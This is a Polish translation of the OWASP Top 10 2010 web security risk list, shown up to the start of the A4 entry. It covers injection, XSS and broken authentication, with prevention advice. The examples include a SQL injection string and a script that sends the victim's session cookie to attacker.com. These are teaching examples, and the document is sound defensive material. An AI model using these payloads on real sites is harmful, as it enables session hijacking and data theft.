OWASP w skrócieO

Copyright and License

Copyright © 2003 – 2010 The OWASP Foundation

This document is released under the Creative Commons Attribution Share Alike 3.0 license. For any reuse or distribution, you must make clear to others the license terms of this work.

Słowo wstępu

Niebezpieczne oprogramowanie zagrożenie dla finansów, funduszu zdrowia, obrony narodowej, energetyki, oraz wielu innych krytycznych miejsc infrastruktury państwowej. W związku z powstawaniem coraz bardziej skomplikowanej, współzależnej i oddziałowującej wzajemnie infrastruktury cyfrowej, rośnie problem zapewnienia odpowiedniego bezpieczeństwa aplikacji. Dlatego też nie powinniśmy lekceważyć zaprezentowanych w obecnej liście OWASP Top 10 problemów bezpieczeństwa, o względnie niskim poziomie zagrożenia.

Głównym celem projektu OWASP Top 10 jest zwiększenie świadomości problemów bezpieczeństwa, poprzez zidentyfikowanie największych zagrożeń w organizacjach. W wielu książkach, opisach standardów, narzędziach oraz organizacjach znajdziemy odwołania do projektu OWASP Top 10. Są to m. in. MITRE, PCI DSS, DISA, FTC oraz wiele innych. Najnowsze wydanie OWASP Top 10 ukazuje, ze już osmy rok zwiększamy świadomość w zakresie zagrożeń bezpieczeństwa aplikacji. OWASP Top 10 zostało wydane po raz pierwszy w 2003 r.. Na przestrzeni lat 2004-2007 regularnie wprowadzano do listy zmiany, czego efektem jest obecna wersja z 2010 r.

W celu zwiększania poziomu bezpieczeństwa państwa organizacji zachęcamy do korzystania z listy Top 10 . Deweloperzy z pewnością mogą się uczyć na błędach innych organizacji, a kierownictwo powinno zacząć myśleć w jaki sposób może zacząć zarządzać bezpieczeństwem aplikacji tworzonych w obrębie własnego przedsiębiorstwa.

OWASP Top 10 nie jest programem zabezpieczania aplikacji. OWASP zaleca aby organizacje zapewniły podstawowe szkolenia, wprowadziły standardy oraz narzędzia które umożliwią pisanie bezpieczniejszego kodu. Efektem tego powinno być zintegrowanie bezpieczeństwa w procesie rozwoju, weryfikacji oraz zarządzania procesami zachodzącymi wewnątrz organizacji. Zarząd powinien w odpowiedni sposób wykorzystać te dane, m. in. w celu zarządzania bezpieczeństwem oraz oszacowaniem kosztów.

Mamy nadzieje, że OWASP Top 10 okaże się przydane podczas zabezpieczania waszych aplikacji. Jeżeli mają państwo jakiekolwiek pytania, sugestie, komentarze, pomysły, prosimy o kontakt OWASP-TopTen@lists.owasp.org lub dave.wichers@owasp.org.

http://www.owasp.org/index.php/Top_10

O OWASP

Open Web Application Security Project (OWASP) jest otwartą społecznością poświęcającą się umożliwianiu rozwoju, zakupu oraz utrzymaniu odpowiedniego bezpieczeństwa aplikacji. W OWASP znajdziecie następujące darmowe a zarazem otwarte dla ludzi…

• standardy oraz narzędzia dot. Bezpieczeństwa aplikacji• książki odnośnie testowania bezpieczeństwa aplikacji, pisanie

bezpiecznego kodu, oraz audytu bezpieczeństwa napisanego kodu

• standardy kontroli bezpieczeństwa oraz bibliotek (?)• Localchaptersworldwid• Nowatorskie badania/ rozwiązania• Międzynarodowe konferencje• Listy mailingowe• Oraz wiele więcej pod adresem www.owasp.org

Wszelkie narzędzia, dokumenty, fora oraz rozdziały należące do OWASP są całkowicie darmowe dla wszystkich zainteresowanych w zwiększaniu bezpieczeństwa aplikacji. Jesteśmy za zwiększaniem bezpieczeństwa jako ludzi, procesów, oraz problemu technologii, ponieważ najbardziej efektywna poprawa bezpieczeństwa kryje się właśnie pod tymi dziedzinami.

OWASP jest nowym rodzajem organizacji. Nasza wolność od komercyjnych nacisków, umożliwia nam dostarczać obiektywne, praktyczne, opłacalne informacje odnośnie bezpieczeństwa aplikacji. OWASP nie jest związanaa z żadną firmą, chociaż wspieramy ich komercyjne rozwiązania.

Jak wiele innych projektów typu open-source , OWASP również udostępnia swoje projekty na zasadzie open-source.

Fundacja OWASP jest organizacją non-profit ukierunkowaną na sukces przez długi okres czasu. W skład OWASP wchodzą prawie wszyscy wolontariusze, zarządem OWASP, liderzy rozdziałów, projektów oraz członkowie projektów. Wspieramy innowacyjne badania bezpieczeństwa w postaci dotacji oraz infrastruktury.

PRZYŁĄCZ SIĘ DO NAS!

Witamy

Witamy w OWASP Top 10 2010! Aktualizacja prezentuje bardziej zwięzłą, skupiającą się na ryzykach listę Top 10 Najbardziej Krytycznych zagrożeń web aplikacji. OWASP Top 10 zawsze było na temat zagrożeń, a najnowsza aktualizacja ma na celu jeszcze bardziej uwidocznić otaczające nas zagrożenia. Obecna lista zawiera również dodatkowe informacje na temat szacowania wymienionych ryzyk w odniesieniu do posiadanych aplikacji.

Każdy punkt z top 10, omawia prawdopodobieństwo wystąpienia błędu, oraz czynniki używane do klasyfikowania stopnia ryzyka.Następnie przedstawione są wytyczne, umożliwiające sprawdzenie czy jesteśmy zagrożeni, sposób w jaki możemy ominąć dane zagrożenie, przykładowe podatności, oraz linki odsyłające do dodatkowych informacji.

Głównym celem OWASP Top 10 jest edukacja developerów, designerów, architektów, managerów, oraz organizacji na temat konsekwencji największych słabości serwisów internetowych. Top 10 oferuje podstawowe techniki zabezpieczenia się przed strefami wysokiego zagrożenia.

Ostrzeżenia

Nie zatrzymuj się tylko na Top 10! Istnieja setki problemów, mających wpływ na ogólne bezpieczeństwo web aplikacji co zresztą zostało wspomniane w podręczniku developerów OWASP. Jest to niezbędna lektura dla każdego kto w dzisiejszych czasach tworzy aplikacje internetowe. Wskazówki skutecznego znajdywania luk bezpieczeństwa web aplikacji znajdują się w OWASP Testing Guide oars OWASP Code Review Guide, które zostały zaktualizowane od czasu ostatniego wydania OWASP Top 10.

Nieustanne zmiany: Lista Top 10 będzie się zmieniać. Nawet bez zmiany jakiejkolwiek linii swojego kodu, aplikacja może stać się celem nieznanego dotąd rodzaju ataku. Prosimy o zapoznanie się z poradami znajdującymi się na końcu Top 10 w dziale “Co dalej…dla developerów, weryfikatorów, organizacji” w celu uzyskania dodatkowych informacji.

Myśl pozytywnie. Kiedy przestaniesz już się uganiać za lukami a zaczniesz skupiać nad odpowiednim zabezpieczaniem kontroli bezpieczeństwa, to wiedz że OWASP stworzyło podręcznik Application Security Verification Standard (ASVS) pomagający organizacjom oraz weryfikatorom skupianie się na odpowiednich częściach aplikacji..

Mądrze używaj narzędzi. Luki bezpieczeństwa mogą być bardzo złożone, I pogrzebane pod tonami kodu. W prawie wszystkich przypadkach, najbardziej efektywne kosztowo podejście do wyszukiwania i eliminowania tych słabości jest uzbrojenie ekspertów w odpowiednie narzędziaUse tools wisely.

Push left. Secure web applications are only possible when a secure software development lifecycle is used. For guidance on how to implement a secure SDLC, we recently released the Open Software Assurance Maturity Model (SAMM), which is a major update to the OWASP CLASP Project.

Podziękowania

Chcielibyśmy podziękować Aspect Security za rozpoczęcie, prowadzenie oraz aktualizację OWASP Top 10 od czasu jej powstania w 2003 r. oraz dla pierwszych autorów: Jeff Williams I Dave Wichers.

Chcielibyśmy podziękować poniższym organizacjom za wspomaganie danymi odnośnie luk dla listy Top 10 2010:

Aspect Security MITRE – CVE Softtek WhiteHat Security Inc. – Statistics

Tłumaczenie: Michał Wiczyński

Chcielibyśmy również podziękować poniższym osobom za wspaniałe poświęcenie czasu oraz dostarczenie treści dla najnowszej wersji Top 10:

Mike Boberski (Booz Allen Hamilton) Juan Carlos Calderon (Softtek) Michael Coates (Aspect Security) Jeremiah Grossman (WhiteHat Security Inc.) Jim Manico (for all the Top 10 podcasts) Paul Petefish (Solutionary Inc.) Eric Sheridan (Aspect Security) Neil Smithline (OneStopAppSecurity.com) Andrew van der Stock Colin Watson (Watson Hall, Ltd.) OWASP Denmark Chapter (Led by Ulf Munkedal) OWASP Sweden Chapter (Led by John Wilander)

I Wstęp

Co się zmieniło od 2007 do 2010?

Różnorodność luk web aplikacji nieustannie się zmienia. Nowe technologie, wdrażanie coraz bardziej złożonych systemów, to są kluczowe czynniki w ewolucji, ułatwiające pracę napastników. Aby temu dotrzymać kroku, OWASP Top 10 jest regularnie uaktualniany. W wydaniu 2010, zrobiliśmy 3 podstawowe, znaczące zmiany:

1) Wyjaśniliśmy, że Top 10 nie jest Top 10 słabości, lecz Top 10 największych ryzyk. Więcej informacji w dziale “Ryzyka bezpieczeństwa Aplikacji”

2) Zmieniliśmy ranking metodologii do oceny ryzyka, zamiast opierania się jedynie na częstości wystąpienia słabości. Ma to wpływ na kolejność listy Top 10, co zresztą widać w tabeli załączonej poniżej

3) Zastąpiliśmy dwie pozycje, nowymi pozycjami.

+ DODANO: A6 – Błędne ustawienia bezpieczeństwa. Problem A10 w Top 10 z 2004 r.: Niebezpieczne zarządzanie konfiguracją, które zostało porzucone w 2007 ponieważ nie zostało uznane za problem programowy. Jednak z organizacyjnego punktu widzenia ryzyka I częstości występowania, zasługuje na ponowne włączenie do listy Top 10.

+ DODANO: A10 – Brak walidacji Przekierowań/ Coward…. Jest to debiut listy Top 10. Przedstawiono dowody, pokazujące że stosunkowo mało znany błąd jest powszechny I stwarza realne zagrożenie mogąc powodować znaczne szkody.

- USUNIĘTO: A3 – Złośliwe rozszerzenia plików. Jest to wciąż istotny problem w wielu środowiskach. Problem ten często powtarzał się w 2007 ze względu na wiele aplikacji opartych na PHP, które obecnie dostarcza bezpieczniejsze rozwiązania, obniżające występowanie tego problemu.

- USUNIĘTO: A6 – Wyciek informacji oraz niewłaściwa obsługa błędów. Ten problem jest bardzo powszechny, lecz ujawnienie wiadomości z błędem lub zawartości stosu stwarza małe zagrożenie. W związku z dodaniem Błędnego ustawienia bezpieczeństwa, w tym roku, odpowiednia konfiguracja oraz obsługa błędów jest wielką częścią bezpiecznego konfigurowania aplikacji oraz serwerów.

OWASP Top 10 – 2007 (Poprzednio) OWASP Top 10 – 2010 (Obecnie)A2 – Błędy wstrzyknięcia A1 – Wstrzyknięcia

A1 – Cross Site Scripting (XSS) A2 – Cross-Site Scripting (XSS)

A7 – Wadliwa autentykacja i zarządzanie sesjami A3 – Wadliwa autentykacja i zarządzanie sesjami

A4 – Niebezpieczne bezpośrednie odwołania A4 – Niebezpieczne bezpośrednie odwołania

A5 – Cross Site Request Forgery (CSRF) A5 – Cross-Site Request Forgery (CSRF)

<bylo T10 2004 A10 – Niebezpieczne zarzadzanie ustawieniami> A6 – Bledy konfiguracji zabezpieczen (NOWE)

A8 – Bledna implementacja kryptografii A7 – Bledna implementacja kryptografii

A10 – Błędy ograniczeń dostępu do URL A8 – Błędy ograniczeń dostępu do URL

A9 – Niezabezpieczona komunikacja A9 – Niewystarczajaca ochrona wartwy transportu

<not in T10 2007> A10 – Brak walidacji przekierowan (NOWE)

A3 – Szkodliwe rozszerzenia plikow <zrezygnowano w T10 2010>

A6 – Niewlasciwa obsluga bledow oraz wycieg informacji <zrezygnowano w T10 2010>

Informacjei

Jakie są zagrożenia bezpieczeństwa aplikacji?Napastnicy potencjalnie mogą używać wiele sposobów aby przez aplikację dostać się do wnętrza organizacji w celu wyrządzenia szkód. Każdy z tych sposobów przedstawia zagrożenie które może, lub nie, być na tyle poważne żeby na nie zwrócić uwagę.

Czasami znalezienie odpowiedniego exploita okazuje się trywialną sprawą, a czasem bardzo trudną. Podobnie, wyrządzone szkody, mogą okazać się od zerowych aż do takich które powodują upadek Twojej organizacji. Aby określić ryzyko dla Twojej organizacji, możesz ocenić prawdopodobieństwo związane z każdym zagrożeniem, wektorem ataku, słabościami bezpieczeństwa I połączyć je z szacunkowym skutkiem dla Twojej organizacji. Wszystkie te czynniki, razem określają całkowite zagrożenie.

Luka

Atak

CzynnikiZagrożenia

Wpływ

Jakie jest moje zagrożenie?Aktualne wydanie OWASP Top 10 skupia się na identyfikowaniu najważniejszych zagrożeń dla szerokiego wachlarza organizacji. Dla każdego z poniższych zagrożeń, przedstawimy ogólne informacje na temat prawdopodobieństwa, oraz całkowitego skutku używając tego oto prostego schematu ceny, który jest oparty na metodologii szacowania ryzyka OWASP.

Jednakże tylko Ty znasz specyfikację swojego środowiska oraz biznesu. Dla wybranej aplikacji, może nie być odpowiedniego zagrożenia podatnego na odpowiedni atak, lub też skutki techniczne mogą nie mieć żadnego wpływu na działanie aplikacji. Dlatego też, powinieneś sam ocenić ryzyko, skupiając się na zagrożeniach, kontrolach bezpieczeństwa, oraz skutkami biznesowymi dla Twojej organizacji.

Chociaż poprzednie wersje OWASP Top 10 skupiały się na identyfikowaniu najbardziej znanych luk, to zostały zbudowane również w oparciu o zagrożenie. Nazwy zagrożeń w Top 10, wywodzą się z typu ataku, typu słabości, oraz skutku jaki mogą spowodować. Wybrane nazwy są najbardziej znane oraz osiągają najwyższy stopień świadomości.

Odwołania

OWASP• OWASP Risk Rating Methodology

• Artykuł dot. Modelowania Ryzyk/ Zagrożeń

Zewnętrzne• FAIR Information Risk Framework

• Microsoft Threat Modeling (STRIDE i DREAD)

Luka

Atak

WektoryAtaku Luki bezpieczeństwa Wpływ

TechnicznyWpływ

Biznesowy

Atak

Wpływ

Wpływ

Aktywa

Funkcje

Aktywa

Luka

Kontrola

Kontrola

Kontrola Luka

KontrolaBezpieczeństwa

CzynnikiZagrożenia

WektorAtaku

Powszechność Słabości

Wykrywalność słabości

WpływTechniczny

WpływBiznesowy

?Łatwe Powszechne Łatwe Szkodliwy

?Średnie Częste Średnie Umiarkowany

Trudne Rzadkie Trudne Znikomy

Ryzyka Bezpieczeństwa AplikacjiRA

•Błędy wstrzyknięcia, typu SQL, OS, LDAP . Błędy te powstają podczas przesłania specjalnie spreparowanych danych do interpretera, jako część zapytania lub polecenia( prościej mówiąc: wartości traktowane są jak polecenia). Jeżeli dane te, nie są w odpowiedni sposób filtrowane, osoba atakująca ma wówczas możliwość wywołania własnych poleceń/ zapytań. Może to spowodować dostęp do poufnych informacji, lub nieautoryzowanych działań w systemie.

A1 – Wstrzyknięcia

•Błędy XSS pojawiają się wtedy, gdy aplikacja pobiera niezaufane dane, i wysyła je do przeglądarki bez wcześniejszej walidacji lub (escaping..). XSS umożliwia napastnikom wykonywanie skryptów w oknach przeglądarki ofiary. Za ich pomocą są w stanie przejąć sesje użytkownika, zmienić zawartość stron, lub przekierować użytkownika do innych stron zawierających szkodliwe dane lub oprogramowanie.

A2 – Cross-Site Scripting (XSS)

•Funkcje odpowiedzialne za autentykację oraz zarządzanie sesjami w aplikacji, często nie są poprawnie zaimplementowane. Umożliwia to napastnikom dostanie się do haseł, kluczy, tokenów sesji, lub wykorzystanie innych błędów implementacji w celu podszycia się pod tożsamość innego użytkownika.

A3 – Wadliwa autentykacja i

zarządzanie sesjami

•Bezpośrednie odwołania do obiektu pojawiają się wtedy, gdy zostaje ujawniona bezpośrednia referencja do wewnętrznego obiektu, typu plik, katalog, lub klucz do bazy danych. Bez odpowiedniej kontroli dostępu lub innych zabezpieczeń, atakujący może odpowiednio manipulować odwołaniami w celu dostania się do nieautoryzowanych danych.

A4 – Niebezpieczne bezpośrednie

odwołania

•Atak CSRF wymusza na zalogowanym użytkowniku, wysłania podmienionego zapytania HTTP, włączając w to ciasteczka sesyjne ofiary, lub jakiekolwiek inne dane automatycznie dołączane do zapytania, do podatnej na błąd aplikacji. To umożliwia atakującemu wykonywanie poleceń w aplikacji jako poprawnie zalogowany użytkownik, ponieważ aplikacja widzi, że wszystkie wysłane dane są od poprawnego użytkownika.

A5 – Cross-Site Request Forgery

(CSRF)

•Dobre bezpieczeństwo wymaga ustawionej i zaimplementowanej bezpiecznej konfiguracji aplikacji, frameworków, serwerów aplikacyjnych, web serwerów, baz danych, oraz platformy. Wszystkie te ustawienia muszą być zdefiniowane, zaimplementowane, oraz utrzymywane ponieważ wiele z nich ma domyślne ustawienia ustawione niezgodnie z zalecanym poziomem bezpieczeństwa. W skład tego wchodzi również utrzymywanie aktualnych wersji produktów, włączając w to wszystkie biblioteki używane przez aplikacje.

A6 – Błędy konfiguracji

zabezpieczeń

•Wiele web aplikacji w nieodpowiedni sposób przechowuje poufne dane, typu numery kart kredytowych, PESEL, dane do autentykacji, używając błędnie zaimplementowanej enkrypcji lub hashowania. Atakujący może wykraść te dane, w celu ich rozkodowania i podszycia się pod ofiarę aby dokonać kolejnych przestępstw z użyciem karty kredytowej itp..

A7 - Błędna implementacja

kryptografii

•Web aplikacje sprawdzają dostęp do adresu URL, zanim wyświetlą kolejne części strony. Tego typu weryfikacje powinny być wprowadzone na każdej ze stron która wchodzi w skład aplikacji. Często atakujący są w stanie odgadnąć, lub przypadkiem dojść do adresu strony która domyślnie nie jest wyświetlana przez aplikację, a takowych zabezpieczeń nie posiada.

A8 - Błędy ograniczeń dostępu

do URL

•Aplikacje często przesyłają dane w sieci ich bez wcześniejszej autentykacji, szyfrowania, lub zapewnienia im odpowiedniej poufności i integralności. Te aplikacje które to zapewniają, często stosują w tym celu słabe algorytmy szyfrowania, nieważne, niepoprawne, lub źle zaimplementowane certyfikaty.

A9 - Niewystarczająca ochrona warstwy

transportu

•Web aplikacje często przekierowują użytkowników na inne strony, używając w tym celu niezaufanych danych w celu określenia docelowej strony. Bez odpowiedniej walidacji tych danych, atakujący jest w stanie przekierować działanie strony użytkownika na stronę ze szkodliwym oprogramowaniem, phishingiem, lub tez przekierować do stron do których nie ma dostępu.

A10 – Brak walidacji

przekierowań

OWASP Top 10 Ryzyk Bezpieczeństwa Aplikacji – 2010 T10

__________ WykorzystanieŁATWE

WystępowanieCZĘSTE

WykrywalnośćPRZECIĘTNA

WpływSZKODLIWY __________

Wyobraź sobie, że każda osoba ma dostęp do nieautoryzowanych danych w systemie, włączając w to użytkowników zewnętrznych, wewnętrznych, oraz administratorów.

Napastnik wysyła proste exploity w formie tekstowej wykorzystujące odpowiednią składnię docelowego interpretera. Prawie każde źródło danych może stać się wektorem włączając w to dane zewnętrzne.

Błędy wstrzyknięcia pojawiają się w chwili wysłania przez aplikację niezaufanych danych do interpretera. Wstrzyknięcia są bardzo popularne, w szczególności w zapytaniach SQL, LDAP, Xpath lub komendach systemowych, argumentach programów itp.. Błędy tego typu są bardzo łatwe do wykrycia podczas przeglądania kodu, lecz dużo trudniejsze podczas wykonywania pentestów. Skanery oraz fuzzery mogą okazać się pomocne podczas wykrywania tego typu błędów.

W wyniku wstrzyknięć może dojść do utraty, lub zniszczenia danych, braku dostępu do tych danych. Kolejnym etapem wstrzyknięcia może być całkowite przejęcie kontroli nad atakowanym systemem.

Należy zmierzyć wartość biznesową narażonych danych, oraz rodzaj posiadanego interpretera. Wszystkie dane mogą zostać skradzione, zmienione, lub skasowanie. Czy może to zaszkodzić twojej reputacji?

Przykładowy atakAplikacja używa danych z niezaufanego źródła w celu skonstruowania podatnego na bledy zapytania SQL:

String query = "SELECT * FROM konta WHERE klientID='" + request.getParameter("id") +"'";

Atakujący modyfikuje wartość parametru id, w taki sposób , że wysyła ‘, lub ‘ or ‘1’=’1. Zmienia to postać zapytania, w taki sposób, że zapytanie zwraca wszystkie rekordy, zamiast tylko jednego:

http://przyklad.com/app/kontoView?id=' or '1'='1

W najgorszym przypadku, atakujący użyje tej podatności w celu wywołania predefiniowanych procedur w bazie danych, umożliwiających na całkowite przejęcie kontroli nad bazą danych.

Czy jestem podatny na wstrzyknięcia?Najlepszym sposobem identyfikacje tej luki , jest sprawdzenie czy interpretery poprawnie oddzielają dane autoryzowane od nieautoryzowanych. Dla zapytań SQL, oznacza to wiązanie zmiennych z już wcześniej przygotowanymi zapytaniami oraz procedurami, unikając w ten sposób dynamicznych zapytań.

Przegląd kodu jest szybkim I efektywnym sposobem na sprawdzenie poprawności działania interpretera. Narzędzia do analizy kodu, z pewnością pomogą analitykowi bezpieczeństwa, prześledzić przepływ danych przez aplikację. Manualne testy penetracyjne, potwierdzą wystąpienie błędu poprzez napisanie własnoręcznie exploita.

Zautomatyzowane skanowania mogą naprowadzić na miejsce potencjalnego wystąpienia błędu. Jednak nie zawsze skanery są w stanie przeprowadzić kompletny atak.

OdwołaniaOWASP• OWASP SQL Injection Prevention Cheat Sheet

• OWASP Injection Flaws Article

• ESAPI Encoder API

• ESAPI Input Validation API

• ASVS: Output Encoding/Escaping Requirements (V6)• OWASP Testing Guide: Chapter on SQL Injection Testing• OWASP Code Review Guide: Chapter on SQL Injection• OWASP Code Review Guide: Command InjectionZewnętrzne• CWE Entry 77 on Command Injection

• CWE Entry 89 on SQL Injection

Jak się bronić przed wstrzyknięciami?Zapobieganie wstryzknięciom wymaga odseparowania niezaugfanych danych od zapytań I poleceń.1. Preferowaną opcją jest używanie bezpiecznego API, które

całkowicie unika wykorzystywania interpretera lub umożliwia dostęp do spametryzowanego interfejsu. Należy uwazac nawet na sparametryzowane API, poniewaz moga byc w nich zaszyte dodatkowe polecenia.

2. Jeżeli nie ma dostępnego sparametryzowanego API, należy ostrożnie ecsapować znaki kierowane do interpretera. OWASP's ESAPI posiada już gotowe rozwiązania.

3. Stosowanie “whitelisty” również pomoże w podniesieniu bezpieczeństwa aplikacji. , jednak nie jest to definitywne rozwiązanie, ponieważ niektóre aplikacje wymagają znaków specjalnych. OWASP's ESAPI posiada rozszerzalną bibliotekę zasad walidacji dla white listy.

Słabosci Bezpieczeństwa

Wektory Ataku

WpływTechnicznyCzynniki

Zagrożenia

WpływBiznesowy

A1 Wstrzyknięcia

__________ WykorzystanieŚREDNIE

WystępowaniePOWSZECHNE

WykrywalnośćŁATWA

WpływUMIARKOWANY __________

Wyobraź sobie, że każda osoba ma możliwość wysłania nieautoryzowanych danych do systemu włączając w to użytkowników zewnętrznych, wewnętrznych, oraz administratorów..

Atakujący wysyła w formie tekstowej skrypty, które są intepretowane przez przeglądarkę. Źródłem ataku może być każdy rodzaj danych, włączając w to dane wewnętrzne z bazy danych.

XSS jest najczęściej występującym błędem w web aplikacjach. Błędy XCSS występują, kiedy aplikacja zawiera dane podane przez użytkownika w formie umożliwiającej ich wykonanie. Znane są trzy rodzaje XSS 1) Stored, 2) Reflected, and 3) DOM based XSS.

Wykrywanie błędów XSS jest najłatwiejsze podczas testowania lub analizy kodu.

Atakujący są w stanie wykonywać skrypty w przeglądarce ofiary w celu przechwycenia sesji, podmiany strony, umieszczenia szkodliwego kodu, przekierowania na szkodliwa stronę, przejęcia kontroli nad przeglądarka ofiary.

Rozważ wartość biznesowa atakowanego systemu oraz wszelkich danych które są w nim przetwarzane.

Weź również pod uwagę szkody poniesione w wyniku upublicznienia luki.

Przykładowy atakAplikacja używa niezaufanych danych w celu wyświetlenia następującego kodu HTML bez jakiejkolwiek wcześniejszej walidacji lub escapowania znaków:

(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";

Atakujący zmienia w przeglądarce parametr ‘CC’ na:

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

Powoduje to wysłanie ID sesji ofiary do strony atakującego. Dzięki temu, atakujący jest w stanie przejąć sesję ofiary

UWAGA, XSS może być użyte w celu ominięcia zabezpieczeń przed CSRF. Więcej informacji w dziale A5.

Czy jestem podatny na XSS??Należy upewnić się czy przed wysłaniem do przeglądarki danych otrzymanych od użytkownika, wszystkie znaki zostały odpowiednio zweryfikowane. Odpowiednia weryfikacja na wyjściu zapewnia, że tekst odczytywany w przeglądarce jest traktowany jako test a nie aktywna część strony. Narzędzia zarówno do statycznej jak I dynamicznej analizy kodu, są w stanie znaleźć niektóre błędy XSS automatycznie. Niestety, większość web aplikacji buduje strony w trochę inny sposób, lub też używa innego rodzaju interpreterów ( JavaScript, ActiveX, Flash, Silverlight) które znacznie utrudniają automatyczną detekcję błędów. Dlatego też, wymagane jest połączenie manualnej analizy kodu, oraz testu penetracyjnego w połączeniu z narzędziami automatyzującymi ten proces.

Technologie Web 2.0, typu AJAX znacznie utrudniają wykrycie XSS.

Odwołania• OWASP XSS Prevention Cheat Sheet

• OWASP Cross-Site Scripting Article

• ESAPI Project Home Page

• ESAPI Encoder API

• ASVS: Output Encoding/Escaping Requirements (V6)

• ASVS: Input Validation Requirements (V5)

• Testing Guide: 1st 3 Chapters on Data Validation Testing

• OWASP Code Review Guide: Chapter on XSS Review

Zewnętrzne• CWE Entry 79 on Cross-Site Scripting

• RSnake’s XSS Attack Cheat Sheet

Jak się bronić przed XSS?Zabezpieczanie się przed XSS wymaga trzymania niezaufanych danych z dala od aktywnej zawartości strony..

1. Preferowanym wyborem jest escapowanie wszystkich niezaufanych danych, w zależności od miejsca użycia. Mowa utaj o umieszczaniu danych w kontekście body, atrybutów, JavaScript, XSS, URL. Jeżeli dany frameworków nie posiada automatycznego escapowania znaków, to programiści powinni to zadbać. Więcej informacji: OWASP XSS Prevention Cheat Sheet

2. Zalecane jest również stosowanie White listy, która znacznie pomaga zabezpieczyć się przed atakami typu XSS, ale nie zapewnia 100% bezpieczeństwa, ponieważ niektóre aplikacje wymagają używania znaków specjalnych. Tego typu walidacja powinna rozkodować otrzymane dane, zwalidować ich długość, znaki, oraz odpowiednio sformatować zanim nastąpi ich akceptacja.

3. Prosimy o rozważenie zastosowania Content Security Policy od Mozilla, użytego w Firefox 4 w celu obrony przed XSS

Cross-Site Scripting (XSS)A2 Słabosci Bezpieczeństwa Słabosci Bezpieczeństwa

Wektory Ataku

WpływTechnicznyCzynniki

Zagrożenia

WpływBiznesowy

__________ WykorzystanieŚREDNIE

WystępowanieCZĘSTE

WykrywalnośćPRZECIĘTNA

WpływSILNY __________

Wyobraź sobie użytkowników lub anonimowe osoby z zewnątrz wykradające dane z kont innych osób. Weź również pod uwagę osoby z wewnątrz próbujące ukryć swoje poczynania

Atakujący wykorzystują wycieki lub inne błędy w autentykacji lub zarzadzaniem sesjami (np.. upowszechnione hasła, id sesji) w celu przejęcia kont użytkowników.

Developerzy często budują własne mechanizmy autentykacyjne/ zarzadzania sesjami. Wbrew pozorom nie jest to łatwe zadanie. Niestety w efekcie wiele z tych rozwiązań zawiera błędy implementacyjne w modułach typu wylogowanie, zarzadzanie hasłami, timeouty, przypomnienie hasła, podpowiedz do hasła, aktualizacja konta itp.. Znalezienie tego typu luki bywa trudne I zajmuje wiele czasu ze względu na unikalność rozwiązania.

Tego typu błędy umożliwiają zaatakowanie nawet wszystkich kont. Atakujący ma pełna kontrole nad przejętym kontem. Najczęściej tego typu atakom padają konta z wysokimi przywilejami.

Rozważ wartość biznesowa zagrożonych działów aplikacji oraz ich funkcji.

Weź również pod uwagę szkody poniesione w wyniku opublikowania luki.

Przykładowe atakiAtak #1: Linie lotnicze podczas rezerwacji miejsc umieszczają ID sesji oraz przekierowań URL w adresie URL: http://example.com/sale/saleitems;jsessionid= 2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=HawaiiUżytkownik po autentykacji może poinformować znajomych o wyprzedaży. Wysyła w/w link razem ze swoim ID sesji. Kiedy znajomi klikną w link, będą mieli możliwość dostępu do danych konta (karty kredytowej) osoby która wysłała link.

Atak #2: Ważność sesji w aplikacji nie jest ustawiona poprawnie. Ofiara używając komputera w kawiarence internetowej, zamiast kliknąć ‘wyloguj’ porostu wyłącza okno przeglądarki. Atakujący po otwarciu strony po godzinie czasu może mieć możliwość dostępu do konta ofiary.Atak#3: Atakujący z zewn. lub wewn. Organizacji jest w stanie dostać się do bazy danych z hasłami. Brak jakiejkolwiek enkrypcji haseł umożliwia przejecie kontroli nad wszystkimi kontami.

Czy jestem podatny?Najważniejsze dane do zabezpieczenia: dane dostępowe oraz ID sesji.

1. Czy dane dostępowe są zaszyfrowane w odpowiedni sposób ? Patrz A7.

2. Czy dane dostępowe są możliwe do odgadnięcia lub nadpisane w wyniku słabego jakościowo systemu zarzadzania kontami ( np.. Stworzenie konta, zmiana hasła, odzyskiwanie hasła, słaba entropia sesji)?

3. Czy ID sesji są widoczne w URL? (np.. URL rewriting)?

4. Czy ID sesji są podatne na ataki typu session fixation?

5. Czy ID sesji tracą ważność a użytkownicy są automatycznie wylogowani?

6. Czy ID sesji zmienia się po zalogowaniu?

7. Czy hasła, ID sesji oraz inne dane dostępowe wysyłane są wyłącznie polaczeniami TLS? Patrz A9.

W celu uzyskania dodatkowych informacji, przeczytaj wymagania ASVS dla działów V2 oraz V3 . Odwołania

OWASPW celu uzyskania dokładniejszych informacji odnośnie tych problemów oraz sposobów ich unikania prosimy zajrzeć do ASVS requirements areas for Authentication (V2) and Session Management (V3).

• OWASP Authentication Cheat Sheet

• ESAPI Authenticator API

• ESAPI User API

• OWASP Development Guide: Chapter on Authentication

• OWASP Testing Guide: Chapter on Authentication

Zewnętrzne• CWE Entry 287 on Improper Authentication

Jak temu zapobiec?Glownym celem organizacji jest umozliwienie programistom:

1. Stworzenia odpowiendio mocnych systemow uwierzytelniania I kontroli zarzazdania sesja. Kontrole te powinny:

a) Spelniac wszystkie wymagania odnosnie autentykacji oraz zarzadzania sesjami okreslone w Application Security Verification Standard (ASVS) OWASP dzialu V2 (Autentykacja) oraz V3 (Zarzadzanie sesjami).

b) Posiadac prosty interfejs dla programistow. Rozwaz ESAPI Authenticator and User APIs jako dobre przyklady emulacji, uzycia oraz budowania systemu.

2. Wlozenia wysilku w unikniecie bledow typu XSS ktore umozliwiaja wykradzenie danych sesji. Patrz A2.

Wadliwa autentykacja i zarządzanie sesjamiA3

Słabosci Bezpieczeństwa Słabosci Bezpieczeństwa

Wektory Ataku

WpływTechnicznyCzynniki

Zagrożenia

WpływBiznesowy

__________ WykorzystanieŁATWE

WystępowanieCZĘSTE

WykrywalnośćŁATWA

WpływUMIARKOWANY __________

Zastanów się jakiego rodzaju użytkownicy korzystają z systemy. Czy są użytkownicy mający dostęp tylko do wybranych części systemu?

Autoryzowany użytkownik zmienia wartości parametrów które odwołują się bezpośrednio do innych obiektów w systemie do których użytkownik jest upoważniony. Czy dostęp zostaje udzielony??

